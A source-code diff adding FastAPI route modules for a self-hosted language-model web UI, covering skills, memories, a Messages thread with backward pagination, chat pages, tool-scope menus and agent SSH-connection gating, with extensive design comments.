+            "revisions": skill.revisions,
+            **_shared_context(db, user, skill, "skill"),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.post("/api/library/skills")
+async def create_skill(
+    db: Db,
+    user: RequiredUser,
+    name: str = Form(""),
+    description: str = Form(""),
+    body: str = Form(""),
+) -> Response:
+    try:
+        skill = skills_service.create(
+            db, owner=user, name=name, description=description, body=body, author=AUTHOR_USER
+        )
+    except skills_service.SkillError as exc:
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
+    return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/skills/{skill_id}")
+async def update_skill(request: Request, db: Db, user: RequiredUser, skill_id: str) -> Response:
+    skill = skills_service.get(db, skill_id, user)
+    if skill is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
+    if not sharing.can_write(skill, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That skill is not yours to change.")
+
+    form = await request.form()
+    skills_service.update(
+        db,
+        skill,
+        description=str(form.get("description", "")),
+        body=str(form.get("body", "")),
+        enabled="enabled" in form,
+        author=AUTHOR_USER,
+        note="edited by hand",
+    )
+    return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/skills/{skill_id}/revert/{revision_id}")
+async def revert_skill(
+    db: Db, user: RequiredUser, skill_id: str, revision_id: str
+) -> Response:
+    skill = skills_service.get(db, skill_id, user)
+    if skill is None or not sharing.can_write(skill, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
+    revision = db.get(SkillRevision, revision_id)
+    if revision is None or revision.skill_id != skill.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That revision no longer exists.")
+
+    skills_service.revert(db, skill, revision, author=AUTHOR_USER)
+    return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/skills/{skill_id}/delete")
+async def delete_skill(db: Db, user: RequiredUser, skill_id: str) -> Response:
+    skill = skills_service.get(db, skill_id, user)
+    if skill is None or not sharing.can_write(skill, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
+    skills_service.delete(db, skill)
+    return RedirectResponse("/library/skills", status_code=status.HTTP_303_SEE_OTHER)
+
+
+# --- Memory ------------------------------------------------------------------
+# Lives in Settings rather than in the library: it is a set of short facts about
+# the reader, not content they collected.
+@router.post("/api/library/memories")
+async def add_memory(db: Db, user: RequiredUser, content: str = Form("")) -> Response:
+    try:
+        memories_service.add(db, owner=user, content=content, author=AUTHOR_USER)
+    except ValueError as exc:
+        from urllib.parse import quote
+
+        return RedirectResponse(
+            f"/settings?error={quote(str(exc))}", status_code=status.HTTP_303_SEE_OTHER
+        )
+    return RedirectResponse(
+        "/settings?saved=Memory+added.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/memories/{memory_id}")
+async def update_memory(
+    db: Db, user: RequiredUser, memory_id: str, content: str = Form("")
+) -> Response:
+    memory = memories_service.get(db, memory_id, user)
+    if memory is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
+    try:
+        memories_service.update(db, memory, content)
+    except ValueError as exc:
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
+    return RedirectResponse(
+        "/settings?saved=Memory+updated.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/memories/{memory_id}/delete")
+async def delete_memory(db: Db, user: RequiredUser, memory_id: str) -> Response:
+    memory = memories_service.get(db, memory_id, user)
+    if memory is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
+    memories_service.delete(db, memory)
+    return RedirectResponse(
+        "/settings?saved=Memory+removed.", status_code=status.HTTP_303_SEE_OTHER
+    )

src/lembas/api/messages.py

@@ -0,0 +1,124 @@
+"""Messages: one conversation per person, read backwards on demand.
+
+The page is the ordinary chat shell with two differences: it opens on the most
+recent turns rather than on all of them, and above them sits a sentinel that
+fetches the page before whenever it is scrolled into view.
+
+That sentinel is the mirror of `GET /api/chats/{id}/tail`, which polls forwards,
+and it keeps the same four properties for the same reasons — most of all
+answering **204 to a cursor it cannot place** rather than falling back to "the
+oldest hundred", which would prepend a block the page already holds.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Request, Response, status
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.api.pages import _chat_context, sidebar_context
+from lembas.db.models import Message, Schedule
+from lembas.services import messages as messages_service
+from lembas.services import schedules as schedules_service
+from lembas.services.markdown import render_markdown
+from lembas.services.schedule import clock
+from lembas.services.schedule import rule as rule_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(tags=["messages"])
+
+
+def _bodies(messages: list[Message]) -> dict[str, str]:
+    """Markdown rendered server-side, keyed by id, as `chat_detail` does."""
+    return {m.id: render_markdown(m.content) for m in messages if m.role == "user"}
+
+
+@router.get("/messages")
+async def messages_page(request: Request, db: Db, user: RequiredUser):
+    conversation = messages_service.for_user(db, user)
+    live = messages_service.live_messages(db, conversation)
+
+    # The schedules that post in here, listed beside the conversation because
+    # this is where somebody would look for them -- a schedule whose output
+    # arrives in this thread and whose controls are two pages away is one nobody
+    # will find when they want to stop it.
+    posting = list(
+        db.scalars(
+            schedules_service.visible(user)
+            .where(Schedule.target == "messages")
+            .order_by(Schedule.created_at.desc())
+        )
+    )
+    zone = clock.zone_for(user)
+
+    return render(
+        request,
+        "messages/index.html",
+        {
+            "chat": conversation,
+            "messages": live,
+            "compacted": [],
+            "bodies": _bodies(live),
+            "inherited_prompt": "",
+            "inherited_from": "",
+            "more_before": bool(live) and messages_service.has_more_before(
+                db, conversation, live[0]
+            ),
+            "oldest_id": live[0].id if live else "",
+            "schedules": [
+                {
+                    "row": row,
+                    "summary": rule_service.describe(row.rule_json or {}, zone=zone),
+                }
+                for row in posting
+            ],
+            **_chat_context(db, user, conversation),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/api/messages/history")
+async def messages_history(
+    request: Request, db: Db, user: RequiredUser, before: str = ""
+) -> Response:
+    """The page of turns immediately before `before`, oldest first.
+
+    204 rather than a fallback whenever the cursor cannot be placed: an absent
+    one, one from another chat, one belonging to a message that has gone. The
+    alternative -- answering with the oldest page -- would prepend a block the
+    reader is already looking at, and a duplicated transcript is something only
+    a reload can reconcile.
+    """
+    conversation = messages_service.for_user(db, user)
+    cursor = db.get(Message, before) if before else None
+    if cursor is None or cursor.chat_id != conversation.id:
+        return Response(status_code=status.HTTP_204_NO_CONTENT)
+
+    page = messages_service.older_than(db, conversation, cursor)
+    if not page:
+        return Response(status_code=status.HTTP_204_NO_CONTENT)
+
+    from lembas.web.templating import templates
+
+    return templates.TemplateResponse(
+        request,
+        "messages/_history.html",
+        {
+            "messages": page,
+            "bodies": _bodies(page),
+            "more_before": messages_service.has_more_before(db, conversation, page[0]),
+            "oldest_id": page[0].id,
+            # `render()` injects `user` and friends; `TemplateResponse` does
+            # not, and `chat/_message.html` dereferences both `user` and `chat`
+            # -- the same reason the SSE path passes them by hand. Missing
+            # either is a 500 on scroll and nothing at all on the page that
+            # rendered fine.
+            "user": user,
+            "chat": conversation,
+            **_chat_context(db, user, conversation),
+        },
+    )

src/lembas/api/pages.py

@@ -0,0 +1,788 @@
+"""Full-page routes: the chat shell and the user's own settings."""
+
+from __future__ import annotations
+
+from zoneinfo import available_timezones
+
+from fastapi import APIRouter, HTTPException, Request, Response, status
+from fastapi.responses import FileResponse, JSONResponse, RedirectResponse
+from sqlalchemy import select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.db.models import (
+    KIND_CHAT,
+    KIND_MESSAGES,
+    KIND_TASK,
+    KINDS,
+    Chat,
+    Folder,
+    KnowledgeBase,
+    Message,
+    User,
+)
+from lembas.security import permissions
+from lembas.services import audio as audio_service
+from lembas.services import branding as branding_service
+from lembas.services import canvas as canvas_service
+from lembas.services import chat as chat_service
+from lembas.services import compaction as compaction_service
+from lembas.services import reports as reports_service
+from lembas.services import settings_store
+from lembas.services import suggestions as suggestions_service
+from lembas.services.library import documents as documents_service
+from lembas.services.schedule import clock
+from lembas.web.templating import STATIC_DIR, render
+
+router = APIRouter(tags=["pages"])
+
+# Matches --bg for each theme in tokens.css. Duplicated here because the
+# manifest is JSON read by the operating system before any stylesheet exists;
+# there is nowhere for a CSS variable to resolve.
+THEME_COLOUR = {"moria": "#101317", "shire": "#F6F1E4"}
+
+
+def _chat_context(db: DBSession, user: User, chat: Chat | None) -> dict:
+    """Model lists and permissions every chat page needs.
+
+    Pinned and unpinned are split here rather than in the template so the
+    picker's optgroups stay a plain loop.
+    """
+    models = chat_service.available_models(db, user)
+    current = next((m for m in models if m.model_id == chat.model_id), None) if chat else None
+    return {
+        "models": models,
+        "current_model": current,
+        # Assistant bubbles show the avatar of the model that wrote them, which
+        # may not be the model the chat is set to now. Keyed by model_id, the
+        # denormalised value stored on each message.
+        "models_by_id": {m.model_id: m for m in models},
+        # Offered in the chat settings panel so a conversation can be pointed at
+        # particular bases. Empty when the reader has none, and the panel then
+        # shows nothing rather than an empty control.
+        "knowledge_bases": (
+            list(
+                db.scalars(
+                    documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
+                )
+            )
+            if permissions.has(db, user, "library.use")
+            else []
+        ),
+        "attached_base_ids": [base.id for base in chat.knowledge_bases] if chat else [],
+        # The three a reasoning model understands. From the service so the
+        # command, the control and the request builder cannot disagree about
+        # what is a valid effort.
+        "efforts": chat_service.EFFORTS,
+        # What the picker shows, and what `build_request` will send. One
+        # resolver so the two cannot disagree.
+        "resolved_effort": chat_service.resolved_effort(chat) if chat else "",
+        **_scope_context(db, user, chat),
+        **_agent_context(db, user, chat),
+        **audio_service.template_flags(db, user),
+    }
+
+
+def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
+    """What this chat may use, for the menu that narrows it.
+
+    The families listed are the ones actually offered *right now*, so the menu
+    never shows a switch for something the model, the reader's permissions or
+    the instance has already ruled out -- turning that on would do nothing,
+    since `resolve_tools` applies this after the gates.
+
+    **It works before the chat exists**, and that is not a nicety. The whole
+    point of narrowing is to decide what a conversation may reach, and the first
+    turn is the one where it matters most: the harness puts a tool's guidance in
+    front of the model the moment the tool is offered, so by the time a chat
+    existed to switch anything off, the model had already been told how to keep
+    notes and been given the tools to do it. Switching it off afterwards does
+    not un-send that turn.
+
+    It used to say there was no row to write to. There is not -- so the
+    prospective menu writes nothing: its switches are plain checkboxes submitted
+    with the first message, and `start_chat` turns them into `scope_json` on the
+    row it is about to create. `scope_allow` stays empty because nothing can
+    have been allowed yet.
+
+    The stand-in `Chat` is `agent/draft.py:as_chat`'s trick again: `resolve_tools`
+    reads the kind, the model and the scope off a chat and never queries or
+    writes it, so a row that is constructed and never added satisfies it
+    unchanged. `scope_json` is set explicitly because it is a *column* default,
+    applied at flush, and this one is never flushed.
+    """
+    from lembas.services import tool_labels
+    from lembas.services import tools as tools_service
+    from lembas.services.library import skills as skills_service
+
+    prospective = chat is None
+    if prospective:
+        model_id = ""
+        chosen = chat_service.default_model(db, user)
+        if chosen is not None:
+            model_id = chosen[0]
+        if not model_id:
+            return {"scope_families": [], "scope_skills": [], "scope_allow": []}
+        # An ordinary chat, deliberately, even though the kind can still be
+        # switched on this screen: an agent chat's tools depend on a connection
+        # that is not settled until the chat is created, so offering them here
+        # would be a switch for something that may not be offered. Everything a
+        # plain chat can reach is switchable, which is the part that matters.
+        chat = Chat(user_id=user.id, kind=KIND_CHAT, model_id=model_id, scope_json={})
+
+    off = tools_service.scoped_off(chat)
+    skills_off = tools_service.scoped_skills_off(chat)
+
+    # Gates rather than tool names: `notes` is one switch, not five, which is
+    # the same reasoning the per-model capability checkboxes carry.
+    seen: dict[str, str] = {}
+    for tool in tools_service.resolve_tools(db, chat, user).defs:
+        seen.setdefault(tools_service.gate_of(tool.family), tool.name)
+    # Anything already switched off is absent from the offered set, so it has to
+    # be put back or there would be no way to turn it on again.
+    for gate in off:
+        seen.setdefault(gate, "")
+
+    families = [
+        {
+            "gate": gate,
+            "label": _GATE_LABELS.get(gate) or tool_labels.label_for(example) or gate,
+            "on": gate not in off,
+        }
+        for gate, example in sorted(seen.items())
+    ]
+
+    skills = []
+    if permissions.has(db, user, "library.use"):
+        skills = [
+            {
+                "name": skill.name,
+                "description": skill.description,
+                "on": skill.name not in skills_off,
+            }
+            for skill in skills_service.enabled_for(db, user)
+        ]
+        for name in sorted(skills_off):
+            if name not in {s["name"] for s in skills}:
+                skills.append({"name": name, "description": "", "on": False})
+
+    # What this chat has been told to stop asking about. Shown so the list
+    # cannot grow invisibly: every entry is one click of "Always allow this" on
+    # a card, and a standing permission nobody can see is one nobody can revoke.
+    return {
+        "scope_families": families,
+        "scope_skills": skills,
+        "scope_allow": list(tools_service.scoped_allow(chat)),
+        # Which of the two menus to draw: switches that POST at once, or
+        # switches that ride along with the first message. The template asks
+        # this rather than `chat is None`, so the reason is named where the
+        # difference is.
+        "scope_prospective": prospective,
+    }
+
+
+# What a gate is called in the menu. A gate covers several tools, so no single
+# tool's label is the right name for it.
+_GATE_LABELS = {
+    "web_search": "Web search",
+    "fetch": "Fetching pages",
+    "knowledge": "Your knowledge library",
+    "notes": "Notes",
+    "memory": "Memory",
+    "skills": "Skills",
+    "ask": "Asking you questions",
+    "scratch": "Writing in the canvas",
+    "image": "Generating images",
+    "report": "Filing reports",
+    "schedule": "Scheduling work",
+    "subagent": "Sending helpers",
+    "agent": "Running commands",
+    "custom": "Custom tools",
+    "mcp": "MCP servers",
+}
+
+
+def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
+    """What the composer and the chat header need to know about agent chats.
+
+    `agent_profiles` is empty unless every one of the conditions holds -- the
+    feature is on, the reader may run commands, and they have a usable
+    connection -- which is what makes the picker appear only when choosing it
+    would lead anywhere.
+    """
+    from lembas.db.models import SshProfile
+    from lembas.services.agent import hosts
+    from lembas.services.agent import policy as agent_policy
+
+    profiles: list[SshProfile] = []
+    if settings_store.agents(db).get("enabled") and permissions.has(db, user, "tools.agent"):
+        profiles = [
+            profile
+            for profile in db.scalars(
+                select(SshProfile)
+                .where(SshProfile.owner_id == user.id, SshProfile.enabled.is_(True))
+                .order_by(SshProfile.name)
+            )
+            # A connection pointing at this machine that an administrator has not
+            # allowed is not offered at all. `session.resolve` refuses it too and
+            # is the control; this is so it never appears in a picker whose only
+            # outcome is an agent chat with no tools and nothing said about why.
+            if hosts.usable(db, profile)
+        ]
+
+    current = None
+    if chat is not None and chat.ssh_profile_id:
+        current = db.get(SshProfile, chat.ssh_profile_id)
+        if current is not None and current.owner_id != user.id:
+            current = None
+    elif chat is None and profiles:
+        # The new-chat screen. Which connection is *chosen* is a decision being
+        # made in the browser, so the server cannot know it -- what it can say is
+        # that there is one to choose, which is all the panels need in order to
+        # exist. They are pointed at a target by `lembas:agent-target`, and show
+        # nothing until they are.
+        #
+        # This says the panels may *exist*, never that they should be *offered*.
+        # The two buttons render `hidden` here and are shown by the same event,
+        # because the kind toggle and the connection select are both in the
+        # browser: answering with `profiles[0]` and leaving it at that offered a
+        # terminal on an ordinary chat with nothing selected, and pressing it
+        # opened a panel that could not work.
+        current = profiles[0]
+
+    return {
+        "agent_profiles": profiles,
+        "agent_profile": current,
+        "agent_modes": [
+            (m, agent_policy.MODE_LABELS[m], agent_policy.MODE_HINTS[m])
+            for m in agent_policy.MODES
+        ],
+        "terminal_enabled": _terminal_enabled(db, user, chat, current),
+        # Whether this chat could have background jobs at all. Not whether it
+        # has any -- that is what the chip's own request answers, five seconds
+        # later, off the request path. A chip that can never show anything is a
+        # chip that only takes room in a row this codebase has already had to
+        # fight to keep on one line.
+        "jobs_enabled": _jobs_enabled(db, user, chat, current),
+        # Any chat that exists. Deliberately not gated the way the terminal is:
+        # half the canvas's sources -- notes, skills, this chat's attachments,
+        # its own scratch document -- need no machine at all, so the terminal's
+        # total gate would remove a working feature because one source is
+        # unavailable. Absent on the new-chat screen for the reason the scope
+        # menu is: there is no row yet to hang a tab on.
+        # Also before the chat exists, where it opens on the connection being
+        # chosen in the composer. That reverses an earlier decision -- "there is
+        # no row yet to hang a tab on" -- which was true of the *storage* and
+        # was never a reason to withhold the panel: a draft holds its tabs in
+        # memory and hands them over when the chat is created. See
+        # services/agent/draft.py.
+        "canvas_enabled": chat is not None or bool(profiles),
+        # And whether it may *also* reach project files. Re-derived server-side
+        # on every canvas request; this flag only decides what the panel offers.
+        "canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
+    }
+
+
+def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
+    """Whether background jobs are possible in this chat.
+
+    The same shape as `_terminal_enabled` and for the same reason, but keyed on
+    `background_enabled` rather than on `terminal_enabled` and on `tools.agent`
+    rather than `agent.terminal` -- somebody who may have a model run commands
+    here may see which of them are still running. It is not a second permission,
+    because there is no action here the agent tools do not already grant.
+    """
+    from lembas.db.models import KIND_AGENT
+    from lembas.services.agent import ssh as ssh_service
+
+    if chat is None or chat.kind != KIND_AGENT or profile is None:
+        return False
+    if not permissions.has(db, user, "tools.agent"):
+        return False
+    values = settings_store.agents(db)
+    if not values.get("enabled") or not values.get("background_enabled"):
+        return False
+    return ssh_service.available() == ""
+
+
+def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
+    """Whether this chat can offer a shell of its own.
+
+    Every condition, not a subset: the button loads 280KB of terminal and opens
+    a socket, so one that cannot work is worse than none. `ssh.available()` is
+    in here because an instance that installed LLeMbas without the `ssh` extra
+    would otherwise render a button whose only outcome is an error frame.
+    """
+    from lembas.db.models import KIND_AGENT
+    from lembas.services.agent import ssh as ssh_service
+
+    # `chat is None` is the new-chat screen, which may open a shell on the
+    # connection being chosen there. Everything else still has to hold.
+    if profile is None or (chat is not None and chat.kind != KIND_AGENT):
+        return False
+    if not permissions.has(db, user, "agent.terminal"):
+        return False
+    values = settings_store.agents(db)
+    if not values.get("enabled") or not values.get("terminal_enabled", True):
+        return False
+    return ssh_service.available() == ""
+
+
+def sidebar_kind(user: User) -> str:
+    """Which side of the sidebar's switch this user last chose.
+
+    One resolver, because the page, the fragment route and the switch's own
+    pressed state all have to agree about it. Anything unrecognised -- an older
+    release's value, a hand-edited row -- reads as ordinary chats rather than
+    showing an empty sidebar nobody can explain.
+    """
+    chosen = (user.settings_json or {}).get("sidebar_kind")
+    return chosen if chosen in KINDS else KIND_CHAT
+
+
+def sidebar_context(db: DBSession, user: User) -> dict:
+    """Folder tree plus the chats that belong to no folder.
+
+    Public because every page carrying the chat sidebar needs it, which now
+    includes the library.
+
+    Only root folders are queried; children come through the relationship and
+    render recursively in the template.
+
+    Everything is narrowed to one `Chat.kind`. A folder the filter has emptied
+    is dropped here rather than in the template, so the "Folders" heading cannot
+    appear above nothing -- the same reason `visible_chats` moved off the
+    template in the first place. `shown_in` is what draws that line: a folder
+    that was empty to begin with is kept, on both sides.
+    """
+    # With the switch absent the sidebar goes back to showing everything, rather
+    # than to one side of a fork nobody can move. An administrator turning agent
+    # chats off would otherwise strand whoever last left the switch on Agents in
+    # a sidebar that is empty with no way out of it.
+    split = permissions.has(db, user, "agent.ssh") and bool(
+        settings_store.agents(db).get("enabled")
+    )
+    kind = sidebar_kind(user) if split else ""
+
+    folders = [
+        folder
+        for folder in db.scalars(
+            select(Folder)
+            .where(Folder.user_id == user.id, Folder.parent_id.is_(None))
+            .order_by(Folder.position, Folder.name)
+        )
+        if folder.shown_in(kind)
+    ]
+    narrowed = select(Chat).where(
+        Chat.user_id == user.id,
+        Chat.folder_id.is_(None),
+        Chat.archived.is_(False),
+        Chat.temporary.is_(False),
+        # `kind` empty means "both sides of the switch", never "no filter" --
+        # see `Folder.visible_chats`. Task chats and the Messages conversation
+        # have sections of their own and must never appear in this list, and
+        # the case that reaches here with "" is precisely an instance with
+        # agents disabled, where nobody would ever see the leak coming.
+        Chat.kind.in_((kind,) if kind else KINDS),
+    )
+    unfiled = list(
+        db.scalars(narrowed.order_by(Chat.pinned.desc(), Chat.updated_at.desc()))
+    )
+    return {
+        "folders": folders,
+        "unfiled_chats": unfiled,
+        # The shortcuts at the top of the sidebar. Here rather than in
+        # `_chat_context`, where they used to be, for two reasons: they are
+        # sidebar content and the fragment route that re-renders the sidebar has
+        # only this, and the library and connections pages carry the sidebar
+        # without ever calling `_chat_context` -- so the shortcuts simply were
+        # not there on any of them. The picker lists every model in the
+        # administrator's order, pinned or not; pinning is not ordering.
+        "pinned_models": [m for m in chat_service.available_models(db, user) if m.pinned],
+        # Whether the Reports entry starts with its dot showing. Only the first
+        # paint: from then on `/api/chats/unread` moves it out of band, the same
+        # deal a chat row's dot has. Counted rather than existence-checked
+        # because the same query answers both and a count is what a title would
+        # want if this ever grows one.
+        "unread_reports": reports_service.unread_count(db, user),
+        # Read rather than created, for the reason the poll does the same: this
+        # runs on every page, and `messages.for_user` would write a conversation
+        # for every account that has never opened the section.
+        "unread_messages": bool(
+            db.scalar(
+                select(Chat.unread).where(
+                    Chat.user_id == user.id, Chat.kind == KIND_MESSAGES
+                )
+            )
+        ),
+        "sidebar_kind": kind,
+        # Whether the switch is worth showing at all. A two-way switch with one
+        # useful side is worse than no switch: it offers a view that is empty by
+        # construction and cannot be made otherwise.
+        "sidebar_split": split,
+        "can": permissions.resolve(db, user),
+    }
+
+
+@router.get("/")
+async def home(user: RequiredUser):
+    return RedirectResponse("/chat", status_code=status.HTTP_303_SEE_OTHER)
+
+
+# --- Installing as an app -----------------------------------------------------
+# All three routes below are deliberately unauthenticated. A browser fetches a
+# manifest and a service worker outside any page's session, and an offline page
+# has by definition no server to ask who is looking at it.
+
+
+@router.get("/healthz", include_in_schema=False)
+async def healthz() -> Response:
+    """Is the process up and can it reach its database.
+
+    Unauthenticated, like the three below, and for a fourth reason: a
+    healthcheck that needed a session would be a healthcheck nothing could run.
+    It says nothing about *what* is here -- no version, no counts -- because it
+    is reachable without signing in and a health endpoint is a common place to
+    leak the first fact an attacker wants.
+
+    The query is what makes it worth having. A process that is up with a
+    database it cannot open answers every page with a 500, and a check that only
+    proved the socket was listening would call that healthy.
+    """
+    from sqlalchemy import text
+
+    from lembas.db.session import session_scope
+
+    try:
+        with session_scope() as db:
+            db.execute(text("SELECT 1"))
+    except Exception:  # noqa: BLE001 - the answer is the status code
+        return JSONResponse({"status": "error"}, status_code=503)
+    return JSONResponse({"status": "ok"})
+
+
+@router.get("/manifest.webmanifest", include_in_schema=False)
+async def manifest(db: Db) -> Response:
+    """The web app manifest.
+
+    A route rather than a static file because the name is an instance setting,
+    and an installed app showing "LLeMbas" when the instance is called something
+    else would be wrong on the one screen that is hardest to correct: the
+    launcher.
+    """
+    brand = branding_service.for_db(db)
+    icons = brand.icon_paths
+    return JSONResponse(
+        {
+            "id": "/",
+            "name": brand.name,
+            "short_name": brand.name[:12],
+            "description": brand.tagline or "A web UI for your language models.",
+            "start_url": "/chat",
+            "scope": "/",
+            "display": "standalone",
+            "background_color": THEME_COLOUR["moria"],
+            "theme_color": THEME_COLOUR["moria"],
+            # An uploaded logo's derived icons, or the shipped ones. Whole-set
+            # rather than per size: a manifest listing two custom icons and one
+            # shipped is a launcher tile that changes when the device picks a
+            # different size, which reads as a bug in the install.
+            "icons": [
+                {"src": f"/branding/{icons['icon-192']}", "sizes": "192x192",
+                 "type": "image/png", "purpose": "any"},
+                {"src": f"/branding/{icons['icon-512']}", "sizes": "512x512",
+                 "type": "image/png", "purpose": "any"},
+                {"src": f"/branding/{icons['maskable']}", "sizes": "512x512",
+                 "type": "image/png", "purpose": "maskable"},
+            ] if icons.get("icon-192") and icons.get("icon-512") and icons.get("maskable") else [
+                {"src": "/static/img/icon-192.png", "sizes": "192x192",
+                 "type": "image/png", "purpose": "any"},
+                {"src": "/static/img/icon-512.png", "sizes": "512x512",
+                 "type": "image/png", "purpose": "any"},
+                {"src": "/static/img/icon-maskable-512.png", "sizes": "512x512",
+                 "type": "image/png", "purpose": "maskable"},
+            ],
+        },
+        media_type="application/manifest+json",
+    )
+
+
+@router.get("/sw.js", include_in_schema=False)
+async def service_worker() -> Response:
+    """The service worker, served from the root.
+
+    A worker may only control pages at or below the path it was served from, so
+    one delivered by the /static mount would have scope /static/js/ and control
+    nothing. Serving it here is simpler than the Service-Worker-Allowed header
+    that would be needed otherwise.
+
+    no-store because a stale worker is a worker that keeps serving a stale
+    cache: the one file in the application that must never be held onto.
+    """
+    return FileResponse(
+        STATIC_DIR / "js" / "sw.js",
+        media_type="text/javascript",
+        headers={"Cache-Control": "no-store"},
+    )
+
+
+@router.get("/offline", include_in_schema=False)
+async def offline(request: Request) -> Response:
+    return render(request, "offline.html", {})
+
+
+@router.get("/chat")
+async def chat_index(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    model: str = "",
+    temporary: bool = False,
+    kind: str = "",
+    folder: str = "",
+):
+    """A composer with no chat behind it yet.
+
+    `?model=` preselects one, which is how the pinned shortcuts work without
+    creating a row for a chat that may never be sent. `?temporary=1` is the
+    same idea for the temporary flag: it lives in the URL rather than in
+    JavaScript, so it survives a reload and can be bookmarked. `?kind=agent`
+    is how the sidebar's Agent side opens a new chat already on that side --
+    a preselection like the other two, not a decision: the kind is still
+    chosen on the screen and still fixed only when the first message is sent.
+    `?folder=` is the same again, and is what "New chat here" on a folder row
+    posts: the chat is filed there, and `_new_chat` fills in whatever the
+    folder seeds and the screen left empty.
+    """
+    context = _chat_context(db, user, None)
+
+    # Somebody else's folder id in the URL is ignored rather than refused. It
+    # would only ever get there by hand, and an error page holding a composer
+    # hostage over a bad query string helps nobody.
+    starting_folder = db.get(Folder, folder) if folder else None
+    if starting_folder is not None and starting_folder.user_id != user.id:
+        starting_folder = None
+    # A folder that fixes the kind picks the fork, unless the URL already said.
+    if not kind and starting_folder is not None:
+        kind = starting_folder.kind
+
+    # Fall back to the same choice a new chat would make -- the user's default,
+    # then the instance default, then first in order. Using models[0] here
+    # instead would show a model the chat is not going to use, which matters:
+    # the composer decides from it whether to warn that images will be dropped.
+    preselected = next((m for m in context["models"] if m.model_id == model), None)
+    # The folder's own model, ahead of the reader's default and behind an
+    # explicit `?model=`. Same order `_new_chat` applies, so the picker shows
+    # the model the chat is actually going to be created with -- which matters,
+    # because the composer decides from it whether to warn about images.
+    if preselected is None and starting_folder is not None and starting_folder.model_id:
+        preselected = next(
+            (m for m in context["models"] if m.model_id == starting_folder.model_id), None
+        )
+    if preselected is None:
+        chosen = chat_service.default_model(db, user)
+        if chosen is not None:
+            preselected = next(
+                (m for m in context["models"] if m.model_id == chosen[0]), None
+            )
+    if preselected is None and context["models"]:
+        preselected = context["models"][0]
+
+    return render(
+        request,
+        "chat/index.html",
+        {
+            "chat": None,
+            "messages": [],
+            "bodies": {},
+            **context,
+            "current_model": preselected,
+            "starting_temporary": temporary,
+            "starting_kind": kind if kind in KINDS else KIND_CHAT,
+            "starting_folder": starting_folder,
+            "suggestions": suggestions_service.visible(db),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+def _candidate_parents(db: DBSession, user_id: str, folder: Folder) -> list[Folder]:
+    from lembas.api.folders import candidate_parents
+
+    return candidate_parents(db, user_id, folder)
+
+
+@router.get("/folders/{folder_id}")
+async def folder_settings(request: Request, db: Db, user: RequiredUser, folder_id: str):
+    """What a folder hands to the chats started inside it.
+
+    A page rather than a row that expands, following the admin convention: a
+    form per row in a tree that nests eight deep would be unusable, and the
+    sidebar is the one part of the application that has to stay scannable.
+
+    Guarded by `folder.manage`, the same permission the whole folder router
+    carries -- editing a folder's system prompt is managing a folder, and a page
+    that renders for somebody whose save is going to 403 is a trap.
+    """
+    if not permissions.has(db, user, "folder.manage"):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot manage folders.")
+
+    folder = db.get(Folder, folder_id)
+    if folder is None or folder.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
+
+    return render(
+        request,
+        "folders/edit.html",
+        {
+            "folder": folder,
+            "chat": None,
+            # Imported here rather than at module scope: `api.folders` imports
+            # `api.deps`, which this module is a peer of, and the pair have been
+            # kept apart deliberately.
+            "parents": _candidate_parents(db, user.id, folder),
+            "models": chat_service.available_models(db, user),
+            **_agent_context(db, user, None),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/chat/{chat_id}")
+async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str):
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+
+    # Opening the chat is what "read" means.
+    if chat.unread:
+        chat.unread = False
+        chat.unread_notified = False
+        db.commit()
+
+    everything = list(
+        db.scalars(
+            select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
+        )
+    )
+    # Summarised turns are kept and still rendered, behind a divider -- they
+    # have only stopped being part of the request.
+    compacted, messages = compaction_service.split(db, chat, everything)
+
+    # Empty, and kept only so `_thread.html` and the four handlers that render a
+    # bubble keep one signature between them. An assistant turn is rendered from
+    # its steps now (`message_steps`, a Jinja global), which is what lets a
+    # reply's prose sit either side of the tool call it surrounded rather than
+    # arriving as one block at the bottom. Nothing reads this for an assistant
+    # message any more; `library/note_detail.html` has its own.
+    bodies: dict[str, str] = {}
+
+    # What the chat would use if its own prompt were empty, so the settings
+    # panel can show it as placeholder text rather than leaving the user to
+    # guess what "inherited" means.
+    #
